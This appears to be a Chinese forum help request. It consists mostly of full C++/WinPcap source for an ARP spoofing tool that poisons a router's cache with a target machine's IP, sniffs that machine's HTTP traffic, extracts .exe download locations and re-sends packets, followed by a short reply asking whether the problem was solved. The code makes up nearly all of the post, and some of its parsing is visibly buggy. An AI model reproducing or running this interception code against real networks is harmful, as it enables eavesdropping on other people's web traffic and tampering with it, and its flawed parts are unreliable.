为了方便叙述,称目标机器为B机器。本机为A机器。
实现思路如下:
A机器一直向路由发送arp请求包,问路由的MAC地址,但是arp包里的发送方IP是B机器的,这样就完成了欺骗路由。达到获取B机器数据返回包的目的。
我程序抓包时候解析包了,判断出来HTTP包打印到屏幕上
目前可以成功的看到B机器打开网站后,从路由返回过来的HTTP包
现在的问题主要有两个:
1.设置过滤器的问题
利用winpcap设置过滤器后,就看不到B机器的包了,不知道是不是过滤器语法有问题。但是编译语法时候也没提示错误。
过滤语法如下:
dst host 192.168.1.100(这是B的IP地址)
下面放上代码,本人菜鸟,写的很渣,还请各位大牛不吝赐教啊!
编译环境:VC6.0+WIN7+winpcap4.x
arp.cpp
#define REMOTE
#define _W64
#include "pcap.h"
#include "ARPfunc.h"
#include <process.h>
#pragma comment(lib,"wpcap")
#pragma comment(lib,"ws2_32")
/*
两个线程函数
函数名:ARPspoofing
功能:实现arp欺骗
参数:一个ARP数据包的对象
发送速率在函数内控制
*/
unsigned int __stdcall ARPspoofing(void *param);
int main()
{
ARPdata data = ARP::filtpacket();
HardInfo h = SelectNethard();
ARP arp(&h,data);
HANDLE WaitHandle[2];
WaitHandle[0] = (HANDLE)_beginthreadex(NULL,0,ARPspoofing,(void *)&arp,0,NULL);
//WaitHandle[1] = (HANDLE)_beginthreadex(NULL,0,ARPspoofing,(void *)&arp,0,NULL);
HardWare hardware(&h);
char filter[] = "dst host 192.168.1.110";
hardware.setfilter(filter);
hardware.startSniff();
WaitForSingleObject(WaitHandle[0],INFINITE);
return 0;
}
unsigned int __stdcall ARPspoofing(void *param)
{
ARP *arp = (ARP *)param;
while(1)
{
arp->send_packet();
Sleep(1000);
}
}
//ARPfunc.h
#include <iostream>
#include "ARPinit.h"
using namespace std;
/**********************************************
函数名:PrintNethard
功能: 打印网卡
***********************************************/
int caonima = 0;
HardInfo SelectNethard()
{
caonima++;
HardInfo hardinfo;
pcap_t *handle;//打开网卡的句柄
pcap_if_t *Devs;
pcap_if_t *i;
char Errbufer[256];
if(-1 == pcap_findalldevs(&Devs,Errbufer))
{
cout<<"获取网卡出错,错误信息: %s"<<Errbufer;
exit(1);
}
int index = 0;
for(i = Devs; i ;i = i->next)
{
cout<<index<<": "<<i->name;
if (i->description)
{
cout<<"<"<<i->description<<">\n";
}
else
{
cout<<"<"<<"No description"<<">\n";
}
index++;
}
if(index == 0)
{
cout<<"找不到网卡,请查看一下Winpcap是否装了"<<endl;
exit(1);
}
cout<<"请输入正在工作的网卡的序号:";
int num = 0;
check:cin>>num;
if(num<0 || num>index)
{
cout<<"无此序号的网卡,请重新输入";
goto check;
}
for (i=Devs; num; num--,i=i->next);
hardinfo.Mydev = i;
if ((handle = pcap_open_live(i->name, //设备名
65536, //确保可以收到所有包
1, //混杂模式
1000, //读取超时时间,有空要看看这里的非阻塞模式:)
Errbufer //错误缓存区
))==NULL) //如果返回NULL打开失败,要进行后续操作
{
//打开网卡失败
pcap_freealldevs(Devs); //释放设备
exit(1); //退出
}
//打开成功,返回打开后的句柄
hardinfo.handle = handle;
//pcap_freealldevs(Devs);
return hardinfo;
}
/**********************************************
HardWare类函数实现
***********************************************/
HardWare::HardWare(HardInfo *hardinfo)
{
//构造函数暂时先这么写
this->handle = hardinfo->handle;
this->myDev = hardinfo->Mydev;
}
//发送函数
void HardWare::send_packet(u_char *buffer,int size)
{
if(pcap_sendpacket(handle,buffer,size) != 0)
{
cout<<"发送数据包失败! 失败原因:"<<pcap_geterr(handle)<<endl;
}
}
//设置过滤器
void HardWare::setfilter(char *packet_filter)
{
u_long netmask;
struct bpf_program fcode;
if(pcap_datalink(handle) != DLT_EN10MB)
{
cout<<"该程序只适用于以太网"<<endl;
exit(1);
}
if (myDev->addresses != NULL)
{
netmask=((struct sockaddr_in *)(myDev->addresses->netmask))->sin_addr.S_un.S_addr;
}
else
{
netmask = 0xffffff; //这里不懂
}
while(true)
{
if(pcap_compile(handle,&fcode,packet_filter,1,netmask) < 0)
{
cout<<"过滤指令编译出错,请重新输入";
fflush(stdin);
gets(packet_filter);
fflush(stdin);
cout<<"\n";
continue;
}
else
{
break;
}
}
if(pcap_setfilter(handle,&fcode) < 0 )
{
cout<<"过滤器设置失败,程序退出\n";
exit(1);
}
}
//开始嗅探
void HardWare::startSniff()
{
EtherHead *Etherhead;
IpHead *IPhead;
struct pcap_pkthdr *PacketHeader;
const u_char *PacketData;
while (int result = pcap_next_ex(handle,&PacketHeader,&PacketData))
{
if(result == 0)
continue; //捕获超时继续捕获
Etherhead = (EtherHead *)PacketData;
if(Etherhead->Type == htons(ETHERTYPE_IP))
{
//确定是IP包,获取IP包头
IPhead = (IpHead *)(PacketData+14);
if(IPhead->proto == htons(TCP_PROTOCAL))
{
//确定是TCP包
char *p = (char *)IPhead+40;
int len = IPhead->tlen;
BOOL find_http = false;
for(int n=0; n<len; n++)
{
if(!find_http && ((n+3<len && strncmp((p+n),"GET",strlen("GET")) ==0 )
|| (n+4<len && strncmp((p+n),"POST",strlen("POST")) == 0)) )
{
find_http = true;
break;
}
// http response
if(!find_http && n+8<len && strncmp((p+n),"HTTP/1.1",strlen("HTTP/1.1"))==0)
{
find_http = true;
break;
}
}
if(find_http)
{
char buffer[BUFFER_MAX_LENGTH]={0};
strcpy(buffer,p+n);
int http_len = strlen(buffer);
for (int i=0; i<http_len; i++)
{
if ( i+8<len && strncmp(buffer+i,"Location",strlen("Location"))==0)
{
char location[256] = {0};
for (int j=i;j<http_len;j++)
{
//location[j-i] = buffer[j];
if(j+3 <= http_len && strncmp(buffer+j,"exe",strlen("exe"))==0)
{
//exe程序
//提取出来location地址 同时去掉http包最后的几个字符
strncpy(location,buffer+i+10,strlen(buffer+i+8)-16);
cout<<location<<endl;
cout<<"\n****************************************\n\n";
}
}
}
}
cout<<buffer<<endl;
cout<<"\n****************************************\n\n";
u_char *s = (u_char *)PacketData;
EtherHead *send = (EtherHead *)PacketData;
send->TargetMac.byte1 = 0xEC;
send->TargetMac.byte2 = 0x0E;
send->TargetMac.byte3 = 0xC4;
send->TargetMac.byte4 = 0x61;
send->TargetMac.byte5 = 0xB4;
send->TargetMac.byte6 = 0xED;
if(pcap_sendpacket(this->handle,(u_char *)s,sizeof(s)) != 0)
{
cout<<"发送包失败! 失败原因:"<<pcap_geterr(handle)<<endl;
}
}
}
}
}
}
/**********************************************
ARP类的函数实现
***********************************************/
//ARP包构造函数
ARP::ARP(HardInfo *h,ARPdata D):HardWare(h)
{
data = D;
}
//重写arp的send_packet
void ARP::send_packet()
{
if(pcap_sendpacket(handle,(u_char *)&data,sizeof(data)) != 0)
{
cout<<"发送arp包失败! 失败原因:"<<pcap_geterr(handle)<<endl;
}
}
/*
函数名:FillPacket
功能:填充arp数据包
*/
ARPdata ARP::filtpacket()
{
ARPdata ARPH;
//制作etherner头
ARPH.etherhead.TargetMac.byte1 = 0xFF;
ARPH.etherhead.TargetMac.byte2 = 0xFF;
ARPH.etherhead.TargetMac.byte3 = 0xFF;
ARPH.etherhead.TargetMac.byte4 = 0xFF;
ARPH.etherhead.TargetMac.byte5 = 0xFF;
ARPH.etherhead.TargetMac.byte6 = 0xFF; //目标MAC地址
ARPH.etherhead.SelfMac.byte1 = 0x30;
ARPH.etherhead.SelfMac.byte2 = 0x3A;
ARPH.etherhead.SelfMac.byte3 = 0x64;
ARPH.etherhead.SelfMac.byte4 = 0x62;
ARPH.etherhead.SelfMac.byte5 = 0x22;
ARPH.etherhead.SelfMac.byte6 = 0x71; //源MAC地址
ARPH.etherhead.Type = htons(0x0806);//协议类型为ARP
//制作etherner头 结束
//制作arp头 开始
ARPH.HardwareType =htons(0x0001);//10M Ethernet
ARPH.ProtocolType =htons(0x0800);//协议类型为IP
ARPH.HardwareSize = 6 ; //硬件地址长度
ARPH.ProtocolSize = 4 ; //IP地址长度
ARPH.Opcode = htons(0x0001) ; //请求操作
//初始化三层ARP的MAC地址
ARPH.SelfMac.byte1 = 0x30;
ARPH.SelfMac.byte2 = 0x3A;
ARPH.SelfMac.byte3 = 0x64;
ARPH.SelfMac.byte4 = 0x62;
ARPH.SelfMac.byte5 = 0x22;
ARPH.SelfMac.byte6 = 0x71; //Sender MAC地址
ARPH.SelfIp.byte1=192;
ARPH.SelfIp.byte2=168;
ARPH.SelfIp.byte3=1;
ARPH.SelfIp.byte4=110; //Sender IP地址
//////////////////////////
ARPH.TargetMac.byte1 = 0x00;
ARPH.TargetMac.byte2 = 0x00;
ARPH.TargetMac.byte3 = 0x00;
ARPH.TargetMac.byte4 = 0x00;
ARPH.TargetMac.byte5 = 0x00;
ARPH.TargetMac.byte6 = 0x00; //Target MAC地址
ARPH.TargetIp.byte1=192;
ARPH.TargetIp.byte2=168;
ARPH.TargetIp.byte3=1;
ARPH.TargetIp.byte4=1; //Target IP地址
//填充pad
//这里的PAD不知道干什么用的 抓包没有看到pad部分
for(int i=0;i<18;i++)
{
ARPH.padding[i]=0;
}
return ARPH;
};
//ARPinit.h
#include <iostream>
#define ETHER_ADDR_LEN 6 /* ethernet address */
#define ETHERTYPE_IP 0x0800 /* IP标志 */
#define TCP_PROTOCAL 0x0600 /* TCP标志 */
#define BUFFER_MAX_LENGTH 65536 /* 最大长度 */
struct HardInfo{
pcap_t *handle;
pcap_if_t *Mydev;
};
struct MacAddress{
u_char byte1,byte2,byte3,byte4,byte5,byte6;
};
struct IpAddress{
u_char byte1,byte2,byte3,byte4;
};
//以太网头
struct EtherHead{
MacAddress TargetMac; //目标MAC地址
MacAddress SelfMac; //源MAC地址
WORD Type; //帧类型
};
//ip包头
struct IpHead{
u_char ver_ihl; /* version and ip header length */
u_char tos; /* type of service */
u_short tlen; /* total length */
u_short identification; /* identification */
u_short flags_fo; // flags and fragment offset
u_char ttl; /* time to live */
u_char proto; /* protocol */
u_short crc; /* header checksum */
IpAddress selfip; /* source address */
IpAddress targetip; /* destination address */
u_int op_pad; /* option and padding */
};
//ARP数据包
struct ARPdata{
EtherHead etherhead; //以太网头部
WORD HardwareType; //硬件类型
WORD ProtocolType; //协议类型
u_char HardwareSize; //硬件地址长度
u_char ProtocolSize; //协议地址长度
WORD Opcode; //OP,操作码 控制是request还是replay
MacAddress SelfMac; //发送方MAC地址
IpAddress SelfIp; //发送方IP地址
MacAddress TargetMac; //目标MAC地址
IpAddress TargetIp; //目标IP地址
BYTE padding[18]; //填充0 不知道干啥用的
};
/*
函数声明
函数实现在ARPfunc.h里面
*/
HardInfo SelectNethard (); //打印网卡列表,便于用户选择,返回值为打开网卡返回的句柄
/*
HardWare类
用于初始化一个网卡,并且具有监听和发送功能
*/
class HardWare{
public:
HardWare(HardInfo *hardinfo);
void send_packet(u_char *buffer,int size);
void setfilter(char *packet_filter);
void startSniff();
protected:
pcap_t *handle; //打开网卡句柄,希望可以在派生类中访问handle
pcap_if_t *myDev; //硬件句柄
};
/*
ARP类:描述一个arp数据包的格式
*/
class ARP:public HardWare{
public:
static ARPdata filtpacket();
ARPdata data; //ARP包的DATA部分
ARP(HardInfo *h,ARPdata D);
void send_packet();
};
请问问题解决了吗?